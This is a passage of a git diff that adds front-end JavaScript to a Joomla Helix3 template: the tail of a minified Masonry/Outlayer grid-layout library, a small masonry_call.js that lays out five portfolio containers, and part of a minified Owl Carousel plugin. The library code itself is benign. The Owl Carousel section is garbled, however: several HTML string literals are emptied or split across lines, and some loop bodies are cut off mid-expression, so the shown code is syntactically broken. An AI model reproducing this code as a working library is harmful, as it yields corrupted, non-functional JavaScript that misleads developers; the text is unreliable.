k=e.isBorderBox=!(!j||!d[j]||"border-box"!==d[j]),l=0,m=g.length;m>l;l++){var n=g[l],o=d[n];o=h(a,o);var p=parseFloat(o);e[n]=isNaN(p)?0:p}var q=e.paddingLeft+e.paddingRight,r=e.paddingTop+e.paddingBottom,s=e.marginLeft+e.marginRight,t=e.marginTop+e.marginBottom,u=e.borderLeftWidth+e.borderRightWidth,v=e.borderTopWidth+e.borderBottomWidth,w=k&&i,x=b(d.width);x!==!1&&(e.width=x+(w?0:q+u));var y=b(d.height);return y!==!1&&(e.height=y+(w?0:r+v)),e.innerWidth=e.width-(q+u),e.innerHeight=e.height-(r+v),e.outerWidth=e.width+s,e.outerHeight=e.height+t,e}}function h(a,b){if(e||-1===b.indexOf("%"))return b;var c=a.style,d=c.left,f=a.runtimeStyle,g=f&&f.left;return g&&(f.left=a.currentStyle.left),c.left=b,b=c.pixelLeft,c.left=d,g&&(f.left=g),b}var i,j=a("boxSizing");return function(){if(j){var a=document.createElement("div");a.style.width="200px",a.style.padding="1px 2px 3px 4px",a.style.borderStyle="solid",a.style.borderWidth="1px 2px 3px 4px",a.style[j]="border-box";var c=document.body||document.documentElement;c.appendChild(a);var d=f(a);i=200===b(d.width),c.removeChild(a)}}(),d}var e=a.getComputedStyle,f=e?function(a){return e(a,null)}:function(a){return a.currentStyle},g=["paddingLeft","paddingRight","paddingTop","paddingBottom","marginLeft","marginRight","marginTop","marginBottom","borderLeftWidth","borderRightWidth","borderTopWidth","borderBottomWidth"];"function"==typeof define&&define.amd?define("get-size/get-size",["get-style-property/get-style-property"],d):"object"==typeof exports?module.exports=d(require("get-style-property")):a.getSize=d(a.getStyleProperty)}(window),function(a,b){function c(a,b){return a[h](b)}function d(a){if(!a.parentNode){var b=document.createDocumentFragment();b.appendChild(a)}}function e(a,b){d(a);for(var c=a.parentNode.querySelectorAll(b),e=0,f=c.length;f>e;e++)if(c[e]===a)return!0;return!1}function f(a,b){return d(a),c(a,b)}var g,h=function(){if(b.matchesSelector)return"matchesSelector";for(var a=["webkit","moz","ms","o"],c=0,d=a.length;d>c;c++){var e=a[c],f=e+"MatchesSelector";if(b[f])return f}}();if(h){var i=document.createElement("div"),j=c(i,"div");g=j?c:f}else g=e;"function"==typeof define&&define.amd?define("matches-selector/matches-selector",[],function(){return g}):window.matchesSelector=g}(this,Element.prototype),function(a){function b(a,b){for(var c in b)a[c]=b[c];return a}function c(a){for(var b in a)return!1;return b=null,!0}function d(a){return a.replace(/([A-Z])/g,function(a){return"-"+a.toLowerCase()})}function e(a,e,f){function h(a,b){a&&(this.element=a,this.layout=b,this.position={x:0,y:0},this._create())}var i=f("transition"),j=f("transform"),k=i&&j,l=!!f("perspective"),m={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"otransitionend",transition:"transitionend"}[i],n=["transform","transition","transitionDuration","transitionProperty"],o=function(){for(var a={},b=0,c=n.length;c>b;b++){var d=n[b],e=f(d);e&&e!==d&&(a[d]=e)}return a}();b(h.prototype,a.prototype),h.prototype._create=function(){this._transn={ingProperties:{},clean:{},onEnd:{}},this.css({position:"absolute"})},h.prototype.handleEvent=function(a){var b="on"+a.type;this[b]&&this[b](a)},h.prototype.getSize=function(){this.size=e(this.element)},h.prototype.css=function(a){var b=this.element.style;for(var c in a){var d=o[c]||c;b[d]=a[c]}},h.prototype.getPosition=function(){var a=g(this.element),b=this.layout.options,c=b.isOriginLeft,d=b.isOriginTop,e=parseInt(a[c?"left":"right"],10),f=parseInt(a[d?"top":"bottom"],10);e=isNaN(e)?0:e,f=isNaN(f)?0:f;var h=this.layout.size;e-=c?h.paddingLeft:h.paddingRight,f-=d?h.paddingTop:h.paddingBottom,this.position.x=e,this.position.y=f},h.prototype.layoutPosition=function(){var a=this.layout.size,b=this.layout.options,c={};b.isOriginLeft?(c.left=this.position.x+a.paddingLeft+"px",c.right=""):(c.right=this.position.x+a.paddingRight+"px",c.left=""),b.isOriginTop?(c.top=this.position.y+a.paddingTop+"px",c.bottom=""):(c.bottom=this.position.y+a.paddingBottom+"px",c.top=""),this.css(c),this.emitEvent("layout",[this])};var p=l?function(a,b){return"translate3d("+a+"px, "+b+"px, 0)"}:function(a,b){return"translate("+a+"px, "+b+"px)"};h.prototype._transitionTo=function(a,b){this.getPosition();var c=this.position.x,d=this.position.y,e=parseInt(a,10),f=parseInt(b,10),g=e===this.position.x&&f===this.position.y;if(this.setPosition(a,b),g&&!this.isTransitioning)return void this.layoutPosition();var h=a-c,i=b-d,j={},k=this.layout.options;h=k.isOriginLeft?h:-h,i=k.isOriginTop?i:-i,j.transform=p(h,i),this.transition({to:j,onTransitionEnd:{transform:this.layoutPosition},isCleaning:!0})},h.prototype.goTo=function(a,b){this.setPosition(a,b),this.layoutPosition()},h.prototype.moveTo=k?h.prototype._transitionTo:h.prototype.goTo,h.prototype.setPosition=function(a,b){this.position.x=parseInt(a,10),this.position.y=parseInt(b,10)},h.prototype._nonTransition=function(a){this.css(a.to),a.isCleaning&&this._removeStyles(a.to);for(var b in a.onTransitionEnd)a.onTransitionEnd[b].call(this)},h.prototype._transition=function(a){if(!parseFloat(this.layout.options.transitionDuration))return void this._nonTransition(a);var b=this._transn;for(var c in a.onTransitionEnd)b.onEnd[c]=a.onTransitionEnd[c];for(c in a.to)b.ingProperties[c]=!0,a.isCleaning&&(b.clean[c]=!0);if(a.from){this.css(a.from);var d=this.element.offsetHeight;d=null}this.enableTransition(a.to),this.css(a.to),this.isTransitioning=!0};var q=j&&d(j)+",opacity";h.prototype.enableTransition=function(){this.isTransitioning||(this.css({transitionProperty:q,transitionDuration:this.layout.options.transitionDuration}),this.element.addEventListener(m,this,!1))},h.prototype.transition=h.prototype[i?"_transition":"_nonTransition"],h.prototype.onwebkitTransitionEnd=function(a){this.ontransitionend(a)},h.prototype.onotransitionend=function(a){this.ontransitionend(a)};var r={"-webkit-transform":"transform","-moz-transform":"transform","-o-transform":"transform"};h.prototype.ontransitionend=function(a){if(a.target===this.element){var b=this._transn,d=r[a.propertyName]||a.propertyName;if(delete b.ingProperties[d],c(b.ingProperties)&&this.disableTransition(),d in b.clean&&(this.element.style[a.propertyName]="",delete b.clean[d]),d in b.onEnd){var e=b.onEnd[d];e.call(this),delete b.onEnd[d]}this.emitEvent("transitionEnd",[this])}},h.prototype.disableTransition=function(){this.removeTransitionStyles(),this.element.removeEventListener(m,this,!1),this.isTransitioning=!1},h.prototype._removeStyles=function(a){var b={};for(var c in a)b[c]="";this.css(b)};var s={transitionProperty:"",transitionDuration:""};return h.prototype.removeTransitionStyles=function(){this.css(s)},h.prototype.removeElem=function(){this.element.parentNode.removeChild(this.element),this.emitEvent("remove",[this])},h.prototype.remove=function(){if(!i||!parseFloat(this.layout.options.transitionDuration))return void this.removeElem();var a=this;this.on("transitionEnd",function(){return a.removeElem(),!0}),this.hide()},h.prototype.reveal=function(){delete this.isHidden,this.css({display:""});var a=this.layout.options;this.transition({from:a.hiddenStyle,to:a.visibleStyle,isCleaning:!0})},h.prototype.hide=function(){this.isHidden=!0,this.css({display:""});var a=this.layout.options;this.transition({from:a.visibleStyle,to:a.hiddenStyle,isCleaning:!0,onTransitionEnd:{opacity:function(){this.isHidden&&this.css({display:"none"})}}})},h.prototype.destroy=function(){this.css({position:"",left:"",right:"",top:"",bottom:"",transition:"",transform:""})},h}var f=a.getComputedStyle,g=f?function(a){return f(a,null)}:function(a){return a.currentStyle};"function"==typeof define&&define.amd?define("outlayer/item",["eventEmitter/EventEmitter","get-size/get-size","get-style-property/get-style-property"],e):(a.Outlayer={},a.Outlayer.Item=e(a.EventEmitter,a.getSize,a.getStyleProperty))}(window),function(a){function b(a,b){for(var c in b)a[c]=b[c];return a}function c(a){return"[object Array]"===l.call(a)}function d(a){var b=[];if(c(a))b=a;else if(a&&"number"==typeof a.length)for(var d=0,e=a.length;e>d;d++)b.push(a[d]);else b.push(a);return b}function e(a,b){var c=n(b,a);-1!==c&&b.splice(c,1)}function f(a){return a.replace(/(.)([A-Z])/g,function(a,b,c){return b+"-"+c}).toLowerCase()}function g(c,g,l,n,o,p){function q(a,c){if("string"==typeof a&&(a=h.querySelector(a)),!a||!m(a))return void(i&&i.error("Bad "+this.constructor.namespace+" element: "+a));this.element=a,this.options=b({},this.constructor.defaults),this.option(c);var d=++r;this.element.outlayerGUID=d,s[d]=this,this._create(),this.options.isInitLayout&&this.layout()}var r=0,s={};return q.namespace="outlayer",q.Item=p,q.defaults={containerStyle:{position:"relative"},isInitLayout:!0,isOriginLeft:!0,isOriginTop:!0,isResizeBound:!0,isResizingContainer:!0,transitionDuration:"0.4s",hiddenStyle:{opacity:0,transform:"scale(0.001)"},visibleStyle:{opacity:1,transform:"scale(1)"}},b(q.prototype,l.prototype),q.prototype.option=function(a){b(this.options,a)},q.prototype._create=function(){this.reloadItems(),this.stamps=[],this.stamp(this.options.stamp),b(this.element.style,this.options.containerStyle),this.options.isResizeBound&&this.bindResize()},q.prototype.reloadItems=function(){this.items=this._itemize(this.element.children)},q.prototype._itemize=function(a){for(var b=this._filterFindItemElements(a),c=this.constructor.Item,d=[],e=0,f=b.length;f>e;e++){var g=b[e],h=new c(g,this);d.push(h)}return d},q.prototype._filterFindItemElements=function(a){a=d(a);for(var b=this.options.itemSelector,c=[],e=0,f=a.length;f>e;e++){var g=a[e];if(m(g))if(b){o(g,b)&&c.push(g);for(var h=g.querySelectorAll(b),i=0,j=h.length;j>i;i++)c.push(h[i])}else c.push(g)}return c},q.prototype.getItemElements=function(){for(var a=[],b=0,c=this.items.length;c>b;b++)a.push(this.items[b].element);return a},q.prototype.layout=function(){this._resetLayout(),this._manageStamps();var a=void 0!==this.options.isLayoutInstant?this.options.isLayoutInstant:!this._isLayoutInited;this.layoutItems(this.items,a),this._isLayoutInited=!0},q.prototype._init=q.prototype.layout,q.prototype._resetLayout=function(){this.getSize()},q.prototype.getSize=function(){this.size=n(this.element)},q.prototype._getMeasurement=function(a,b){var c,d=this.options[a];d?("string"==typeof d?c=this.element.querySelector(d):m(d)&&(c=d),this[a]=c?n(c)[b]:d):this[a]=0},q.prototype.layoutItems=function(a,b){a=this._getItemsForLayout(a),this._layoutItems(a,b),this._postLayout()},q.prototype._getItemsForLayout=function(a){for(var b=[],c=0,d=a.length;d>c;c++){var e=a[c];e.isIgnored||b.push(e)}return b},q.prototype._layoutItems=function(a,b){function c(){d.emitEvent("layoutComplete",[d,a])}var d=this;if(!a||!a.length)return void c();this._itemsOn(a,"layout",c);for(var e=[],f=0,g=a.length;g>f;f++){var h=a[f],i=this._getItemLayoutPosition(h);i.item=h,i.isInstant=b||h.isLayoutInstant,e.push(i)}this._processLayoutQueue(e)},q.prototype._getItemLayoutPosition=function(){return{x:0,y:0}},q.prototype._processLayoutQueue=function(a){for(var b=0,c=a.length;c>b;b++){var d=a[b];this._positionItem(d.item,d.x,d.y,d.isInstant)}},q.prototype._positionItem=function(a,b,c,d){d?a.goTo(b,c):a.moveTo(b,c)},q.prototype._postLayout=function(){this.resizeContainer()},q.prototype.resizeContainer=function(){if(this.options.isResizingContainer){var a=this._getContainerSize();a&&(this._setContainerMeasure(a.width,!0),this._setContainerMeasure(a.height,!1))}},q.prototype._getContainerSize=k,q.prototype._setContainerMeasure=function(a,b){if(void 0!==a){var c=this.size;c.isBorderBox&&(a+=b?c.paddingLeft+c.paddingRight+c.borderLeftWidth+c.borderRightWidth:c.paddingBottom+c.paddingTop+c.borderTopWidth+c.borderBottomWidth),a=Math.max(a,0),this.element.style[b?"width":"height"]=a+"px"}},q.prototype._itemsOn=function(a,b,c){function d(){return e++,e===f&&c.call(g),!0}for(var e=0,f=a.length,g=this,h=0,i=a.length;i>h;h++){var j=a[h];j.on(b,d)}},q.prototype.ignore=function(a){var b=this.getItem(a);b&&(b.isIgnored=!0)},q.prototype.unignore=function(a){var b=this.getItem(a);b&&delete b.isIgnored},q.prototype.stamp=function(a){if(a=this._find(a)){this.stamps=this.stamps.concat(a);for(var b=0,c=a.length;c>b;b++){var d=a[b];this.ignore(d)}}},q.prototype.unstamp=function(a){if(a=this._find(a))for(var b=0,c=a.length;c>b;b++){var d=a[b];e(d,this.stamps),this.unignore(d)}},q.prototype._find=function(a){return a?("string"==typeof a&&(a=this.element.querySelectorAll(a)),a=d(a)):void 0},q.prototype._manageStamps=function(){if(this.stamps&&this.stamps.length){this._getBoundingRect();for(var a=0,b=this.stamps.length;b>a;a++){var c=this.stamps[a];this._manageStamp(c)}}},q.prototype._getBoundingRect=function(){var a=this.element.getBoundingClientRect(),b=this.size;this._boundingRect={left:a.left+b.paddingLeft+b.borderLeftWidth,top:a.top+b.paddingTop+b.borderTopWidth,right:a.right-(b.paddingRight+b.borderRightWidth),bottom:a.bottom-(b.paddingBottom+b.borderBottomWidth)}},q.prototype._manageStamp=k,q.prototype._getElementOffset=function(a){var b=a.getBoundingClientRect(),c=this._boundingRect,d=n(a),e={left:b.left-c.left-d.marginLeft,top:b.top-c.top-d.marginTop,right:c.right-b.right-d.marginRight,bottom:c.bottom-b.bottom-d.marginBottom};return e},q.prototype.handleEvent=function(a){var b="on"+a.type;this[b]&&this[b](a)},q.prototype.bindResize=function(){this.isResizeBound||(c.bind(a,"resize",this),this.isResizeBound=!0)},q.prototype.unbindResize=function(){this.isResizeBound&&c.unbind(a,"resize",this),this.isResizeBound=!1},q.prototype.onresize=function(){function a(){b.resize(),delete b.resizeTimeout}this.resizeTimeout&&clearTimeout(this.resizeTimeout);var b=this;this.resizeTimeout=setTimeout(a,100)},q.prototype.resize=function(){this.isResizeBound&&this.needsResizeLayout()&&this.layout()},q.prototype.needsResizeLayout=function(){var a=n(this.element),b=this.size&&a;return b&&a.innerWidth!==this.size.innerWidth},q.prototype.addItems=function(a){var b=this._itemize(a);return b.length&&(this.items=this.items.concat(b)),b},q.prototype.appended=function(a){var b=this.addItems(a);b.length&&(this.layoutItems(b,!0),this.reveal(b))},q.prototype.prepended=function(a){var b=this._itemize(a);if(b.length){var c=this.items.slice(0);this.items=b.concat(c),this._resetLayout(),this._manageStamps(),this.layoutItems(b,!0),this.reveal(b),this.layoutItems(c)}},q.prototype.reveal=function(a){var b=a&&a.length;if(b)for(var c=0;b>c;c++){var d=a[c];d.reveal()}},q.prototype.hide=function(a){var b=a&&a.length;if(b)for(var c=0;b>c;c++){var d=a[c];d.hide()}},q.prototype.getItem=function(a){for(var b=0,c=this.items.length;c>b;b++){var d=this.items[b];if(d.element===a)return d}},q.prototype.getItems=function(a){if(a&&a.length){for(var b=[],c=0,d=a.length;d>c;c++){var e=a[c],f=this.getItem(e);f&&b.push(f)}return b}},q.prototype.remove=function(a){a=d(a);var b=this.getItems(a);if(b&&b.length){this._itemsOn(b,"remove",function(){this.emitEvent("removeComplete",[this,b])});for(var c=0,f=b.length;f>c;c++){var g=b[c];g.remove(),e(g,this.items)}}},q.prototype.destroy=function(){var a=this.element.style;a.height="",a.position="",a.width="";for(var b=0,c=this.items.length;c>b;b++){var d=this.items[b];d.destroy()}this.unbindResize(),delete this.element.outlayerGUID,j&&j.removeData(this.element,this.constructor.namespace)},q.data=function(a){var b=a&&a.outlayerGUID;return b&&s[b]},q.create=function(a,c){function d(){q.apply(this,arguments)}return Object.create?d.prototype=Object.create(q.prototype):b(d.prototype,q.prototype),d.prototype.constructor=d,d.defaults=b({},q.defaults),b(d.defaults,c),d.prototype.settings={},d.namespace=a,d.data=q.data,d.Item=function(){p.apply(this,arguments)},d.Item.prototype=new p,g(function(){for(var b=f(a),c=h.querySelectorAll(".js-"+b),e="data-"+b+"-options",g=0,k=c.length;k>g;g++){var l,m=c[g],n=m.getAttribute(e);try{l=n&&JSON.parse(n)}catch(o){i&&i.error("Error parsing "+e+" on "+m.nodeName.toLowerCase()+(m.id?"#"+m.id:"")+": "+o);continue}var p=new d(m,l);j&&j.data(m,a,p)}}),j&&j.bridget&&j.bridget(a,d),d},q.Item=p,q}var h=a.document,i=a.console,j=a.jQuery,k=function(){},l=Object.prototype.toString,m="object"==typeof HTMLElement?function(a){return a instanceof HTMLElement}:function(a){return a&&"object"==typeof a&&1===a.nodeType&&"string"==typeof a.nodeName},n=Array.prototype.indexOf?function(a,b){return a.indexOf(b)}:function(a,b){for(var c=0,d=a.length;d>c;c++)if(a[c]===b)return c;return-1};"function"==typeof define&&define.amd?define("outlayer/outlayer",["eventie/eventie","doc-ready/doc-ready","eventEmitter/EventEmitter","get-size/get-size","matches-selector/matches-selector","./item"],g):a.Outlayer=g(a.eventie,a.docReady,a.EventEmitter,a.getSize,a.matchesSelector,a.Outlayer.Item)}(window),function(a){function b(a,b){var d=a.create("masonry");return d.prototype._resetLayout=function(){this.getSize(),this._getMeasurement("columnWidth","outerWidth"),this._getMeasurement("gutter","outerWidth"),this.measureColumns();var a=this.cols;for(this.colYs=[];a--;)this.colYs.push(0);this.maxY=0},d.prototype.measureColumns=function(){if(this.getContainerWidth(),!this.columnWidth){var a=this.items[0],c=a&&a.element;this.columnWidth=c&&b(c).outerWidth||this.containerWidth}this.columnWidth+=this.gutter,this.cols=Math.floor((this.containerWidth+this.gutter)/this.columnWidth),this.cols=Math.max(this.cols,1)},d.prototype.getContainerWidth=function(){var a=this.options.isFitWidth?this.element.parentNode:this.element,c=b(a);this.containerWidth=c&&c.innerWidth},d.prototype._getItemLayoutPosition=function(a){a.getSize();var b=a.size.outerWidth%this.columnWidth,d=b&&1>b?"round":"ceil",e=Math[d](a.size.outerWidth/this.columnWidth);e=Math.min(e,this.cols);for(var f=this._getColGroup(e),g=Math.min.apply(Math,f),h=c(f,g),i={x:this.columnWidth*h,y:g},j=g+a.size.outerHeight,k=this.cols+1-f.length,l=0;k>l;l++)this.colYs[h+l]=j;return i},d.prototype._getColGroup=function(a){if(2>a)return this.colYs;for(var b=[],c=this.cols+1-a,d=0;c>d;d++){var e=this.colYs.slice(d,d+a);b[d]=Math.max.apply(Math,e)}return b},d.prototype._manageStamp=function(a){var c=b(a),d=this._getElementOffset(a),e=this.options.isOriginLeft?d.left:d.right,f=e+c.outerWidth,g=Math.floor(e/this.columnWidth);g=Math.max(0,g);var h=Math.floor(f/this.columnWidth);h-=f%this.columnWidth?0:1,h=Math.min(this.cols-1,h);for(var i=(this.options.isOriginTop?d.top:d.bottom)+c.outerHeight,j=g;h>=j;j++)this.colYs[j]=Math.max(i,this.colYs[j])},d.prototype._getContainerSize=function(){this.maxY=Math.max.apply(Math,this.colYs);var a={height:this.maxY};return this.options.isFitWidth&&(a.width=this._getContainerFitWidth()),a},d.prototype._getContainerFitWidth=function(){for(var a=0,b=this.cols;--b&&0===this.colYs[b];)a++;return(this.cols-a)*this.columnWidth-this.gutter},d.prototype.needsResizeLayout=function(){var a=this.containerWidth;return this.getContainerWidth(),a!==this.containerWidth},d}var c=Array.prototype.indexOf?function(a,b){return a.indexOf(b)}:function(a,b){for(var c=0,d=a.length;d>c;c++){var e=a[c];if(e===b)return c}return-1};"function"==typeof define&&define.amd?define(["outlayer/outlayer","get-size/get-size"],b):a.Masonry=b(a.Outlayer,a.getSize)}(window);
\ No newline at end of file
diff --git a/deployed/helix3/templates/shaper_helix3/js/plugin/masonry_call.js b/deployed/helix3/templates/shaper_helix3/js/plugin/masonry_call.js
new file mode 100644
index 00000000..8e752a56
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/js/plugin/masonry_call.js
@@ -0,0 +1,51 @@
+jQuery(document).ready(function($) {
+ MesonaryPortfolio();
+});
+
+
+function MesonaryPortfolio(){
+ var container1 = document.querySelector('#t-our_work_1');
+var msnry = new Masonry( container1,{
+ //columnWidth: 303
+ "isFitWidth": true
+});
+imagesLoaded(container1, function() {
+ msnry.layout();
+});
+
+var container2 = document.querySelector('#t-our_work_2');
+var msnry = new Masonry( container2,{
+ //columnWidth: 303
+ "isFitWidth": true
+});
+imagesLoaded(container2, function() {
+ msnry.layout();
+});
+
+var container3 = document.querySelector('#t-our_work_3');
+var msnry = new Masonry( container3,{
+ //columnWidth: 303
+ "isFitWidth": true
+});
+imagesLoaded(container3, function() {
+ msnry.layout();
+});
+
+var container4 = document.querySelector('#t-our_work_4');
+var msnry = new Masonry( container4,{
+ //columnWidth: 303
+ "isFitWidth": true
+});
+imagesLoaded(container4, function() {
+ msnry.layout();
+});
+
+var container5 = document.querySelector('#t-our_work_5');
+var msnry = new Masonry( container5,{
+ //columnWidth: 303
+ "isFitWidth": true
+});
+imagesLoaded(container5, function() {
+ msnry.layout();
+});
+}
\ No newline at end of file
diff --git a/deployed/helix3/templates/shaper_helix3/js/plugin/owl.carousel.min.js b/deployed/helix3/templates/shaper_helix3/js/plugin/owl.carousel.min.js
new file mode 100644
index 00000000..394505e0
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/js/plugin/owl.carousel.min.js
@@ -0,0 +1,47 @@
+"function"!==typeof Object.create&&(Object.create=function(f){function g(){}g.prototype=f;return new g});
+(function(f,g,k){var l={init:function(a,b){this.$elem=f(b);this.options=f.extend({},f.fn.owlCarousel.options,this.$elem.data(),a);this.userOptions=a;this.loadContent()},loadContent:function(){function a(a){var d,e="";if("function"===typeof b.options.jsonSuccess)b.options.jsonSuccess.apply(this,[a]);else{for(d in a.owl)a.owl.hasOwnProperty(d)&&(e+=a.owl[d].item);b.$elem.html(e)}b.logIn()}var b=this,e;"function"===typeof b.options.beforeInit&&b.options.beforeInit.apply(this,[b.$elem]);"string"===typeof b.options.jsonPath?
+(e=b.options.jsonPath,f.getJSON(e,a)):b.logIn()},logIn:function(){this.$elem.data("owl-originalStyles",this.$elem.attr("style"));this.$elem.data("owl-originalClasses",this.$elem.attr("class"));this.$elem.css({opacity:0});this.orignalItems=this.options.items;this.checkBrowser();this.wrapperWidth=0;this.checkVisible=null;this.setVars()},setVars:function(){if(0===this.$elem.children().length)return!1;this.baseClass();this.eventTypes();this.$userItems=this.$elem.children();this.itemsAmount=this.$userItems.length;
+this.wrapItems();this.$owlItems=this.$elem.find(".owl-item");this.$owlWrapper=this.$elem.find(".owl-wrapper");this.playDirection="next";this.prevItem=0;this.prevArr=[0];this.currentItem=0;this.customEvents();this.onStartup()},onStartup:function(){this.updateItems();this.calculateAll();this.buildControls();this.updateControls();this.response();this.moveEvents();this.stopOnHover();this.owlStatus();!1!==this.options.transitionStyle&&this.transitionTypes(this.options.transitionStyle);!0===this.options.autoPlay&&
+(this.options.autoPlay=5E3);this.play();this.$elem.find(".owl-wrapper").css("display","block");this.$elem.is(":visible")?this.$elem.css("opacity",1):this.watchVisibility();this.onstartup=!1;this.eachMoveUpdate();"function"===typeof this.options.afterInit&&this.options.afterInit.apply(this,[this.$elem])},eachMoveUpdate:function(){!0===this.options.lazyLoad&&this.lazyLoad();!0===this.options.autoHeight&&this.autoHeight();this.onVisibleItems();"function"===typeof this.options.afterAction&&this.options.afterAction.apply(this,
+[this.$elem])},updateVars:function(){"function"===typeof this.options.beforeUpdate&&this.options.beforeUpdate.apply(this,[this.$elem]);this.watchVisibility();this.updateItems();this.calculateAll();this.updatePosition();this.updateControls();this.eachMoveUpdate();"function"===typeof this.options.afterUpdate&&this.options.afterUpdate.apply(this,[this.$elem])},reload:function(){var a=this;g.setTimeout(function(){a.updateVars()},0)},watchVisibility:function(){var a=this;if(!1===a.$elem.is(":visible"))a.$elem.css({opacity:0}),
+g.clearInterval(a.autoPlayInterval),g.clearInterval(a.checkVisible);else return!1;a.checkVisible=g.setInterval(function(){a.$elem.is(":visible")&&(a.reload(),a.$elem.animate({opacity:1},200),g.clearInterval(a.checkVisible))},500)},wrapItems:function(){this.$userItems.wrapAll('').wrap('
');this.$elem.find(".owl-wrapper").wrap('
');this.wrapperOuter=this.$elem.find(".owl-wrapper-outer");this.$elem.css("display","block")},
+baseClass:function(){var a=this.$elem.hasClass(this.options.baseClass),b=this.$elem.hasClass(this.options.theme);a||this.$elem.addClass(this.options.baseClass);b||this.$elem.addClass(this.options.theme)},updateItems:function(){var a,b;if(!1===this.options.responsive)return!1;if(!0===this.options.singleItem)return this.options.items=this.orignalItems=1,this.options.itemsCustom=!1,this.options.itemsDesktop=!1,this.options.itemsDesktopSmall=!1,this.options.itemsTablet=!1,this.options.itemsTabletSmall=
+!1,this.options.itemsMobile=!1;a=f(this.options.responsiveBaseWidth).width();a>(this.options.itemsDesktop[0]||this.orignalItems)&&(this.options.items=this.orignalItems);if(!1!==this.options.itemsCustom)for(this.options.itemsCustom.sort(function(a,b){return a[0]-b[0]}),b=0;b
this.itemsAmount&&
+!0===this.options.itemsScaleUp&&(this.options.items=this.itemsAmount)},response:function(){var a=this,b,e;if(!0!==a.options.responsive)return!1;e=f(g).width();a.resizer=function(){f(g).width()!==e&&(!1!==a.options.autoPlay&&g.clearInterval(a.autoPlayInterval),g.clearTimeout(b),b=g.setTimeout(function(){e=f(g).width();a.updateVars()},a.options.responsiveRefreshRate))};f(g).resize(a.resizer)},updatePosition:function(){this.jumpTo(this.currentItem);!1!==this.options.autoPlay&&this.checkAp()},appendItemsSizes:function(){var a=
+this,b=0,e=a.itemsAmount-a.options.items;a.$owlItems.each(function(c){var d=f(this);d.css({width:a.itemWidth}).data("owl-item",Number(c));if(0===c%a.options.items||c===e)c>e||(b+=1);d.data("owl-roundPages",b)})},appendWrapperSizes:function(){this.$owlWrapper.css({width:this.$owlItems.length*this.itemWidth*2,left:0});this.appendItemsSizes()},calculateAll:function(){this.calculateWidth();this.appendWrapperSizes();this.loops();this.max()},calculateWidth:function(){this.itemWidth=Math.round(this.$elem.width()/
+this.options.items)},max:function(){var a=-1*(this.itemsAmount*this.itemWidth-this.options.items*this.itemWidth);this.options.items>this.itemsAmount?this.maximumPixels=a=this.maximumItem=0:(this.maximumItem=this.itemsAmount-this.options.items,this.maximumPixels=a);return a},min:function(){return 0},loops:function(){var a=0,b=0,e,c;this.positionsInArray=[0];this.pagesInArray=[];for(e=0;e ').toggleClass("clickable",!this.browser.isTouch).appendTo(this.$elem);!0===this.options.pagination&&this.buildPagination();!0===this.options.navigation&&this.buildButtons()},buildButtons:function(){var a=this,b=f('
');a.owlControls.append(b);a.buttonPrev=
+f("
",{"class":"owl-prev",html:a.options.navigationText[0]||""});a.buttonNext=f("
",{"class":"owl-next",html:a.options.navigationText[1]||""});b.append(a.buttonPrev).append(a.buttonNext);b.on("touchstart.owlControls mousedown.owlControls",'div[class^="owl"]',function(a){a.preventDefault()});b.on("touchend.owlControls mouseup.owlControls",'div[class^="owl"]',function(b){b.preventDefault();f(this).hasClass("owl-next")?a.next():a.prev()})},buildPagination:function(){var a=this;a.paginationWrapper=
+f('');a.owlControls.append(a.paginationWrapper);a.paginationWrapper.on("touchend.owlControls mouseup.owlControls",".owl-page",function(b){b.preventDefault();Number(f(this).data("owl-page"))!==a.currentItem&&a.goTo(Number(f(this).data("owl-page")),!0)})},updatePagination:function(){var a,b,e,c,d,g;if(!1===this.options.pagination)return!1;this.paginationWrapper.html("");a=0;b=this.itemsAmount-this.itemsAmount%this.options.items;for(c=0;c ",{"class":"owl-page"}),g=f(" ",{text:!0===this.options.paginationNumbers?a:"","class":!0===this.options.paginationNumbers?"owl-numbers":""}),d.append(g),d.data("owl-page",b===c?e:c),d.data("owl-roundPages",a),this.paginationWrapper.append(d));this.checkPagination()},checkPagination:function(){var a=this;if(!1===a.options.pagination)return!1;a.paginationWrapper.find(".owl-page").each(function(){f(this).data("owl-roundPages")===
+f(a.$owlItems[a.currentItem]).data("owl-roundPages")&&(a.paginationWrapper.find(".owl-page").removeClass("active"),f(this).addClass("active"))})},checkNavigation:function(){if(!1===this.options.navigation)return!1;!1===this.options.rewindNav&&(0===this.currentItem&&0===this.maximumItem?(this.buttonPrev.addClass("disabled"),this.buttonNext.addClass("disabled")):0===this.currentItem&&0!==this.maximumItem?(this.buttonPrev.addClass("disabled"),this.buttonNext.removeClass("disabled")):this.currentItem===
+this.maximumItem?(this.buttonPrev.removeClass("disabled"),this.buttonNext.addClass("disabled")):0!==this.currentItem&&this.currentItem!==this.maximumItem&&(this.buttonPrev.removeClass("disabled"),this.buttonNext.removeClass("disabled")))},updateControls:function(){this.updatePagination();this.checkNavigation();this.owlControls&&(this.options.items>=this.itemsAmount?this.owlControls.hide():this.owlControls.show())},destroyControls:function(){this.owlControls&&this.owlControls.remove()},next:function(a){if(this.isTransition)return!1;
+this.currentItem+=!0===this.options.scrollPerPage?this.options.items:1;if(this.currentItem>this.maximumItem+(!0===this.options.scrollPerPage?this.options.items-1:0))if(!0===this.options.rewindNav)this.currentItem=0,a="rewind";else return this.currentItem=this.maximumItem,!1;this.goTo(this.currentItem,a)},prev:function(a){if(this.isTransition)return!1;this.currentItem=!0===this.options.scrollPerPage&&0this.currentItem)if(!0===this.options.rewindNav)this.currentItem=this.maximumItem,a="rewind";else return this.currentItem=0,!1;this.goTo(this.currentItem,a)},goTo:function(a,b,e){var c=this;if(c.isTransition)return!1;"function"===typeof c.options.beforeMove&&c.options.beforeMove.apply(this,[c.$elem]);a>=c.maximumItem?a=c.maximumItem:0>=a&&(a=0);c.currentItem=c.owl.currentItem=a;if(!1!==c.options.transitionStyle&&"drag"!==e&&1===c.options.items&&!0===c.browser.support3d)return c.swapSpeed(0),
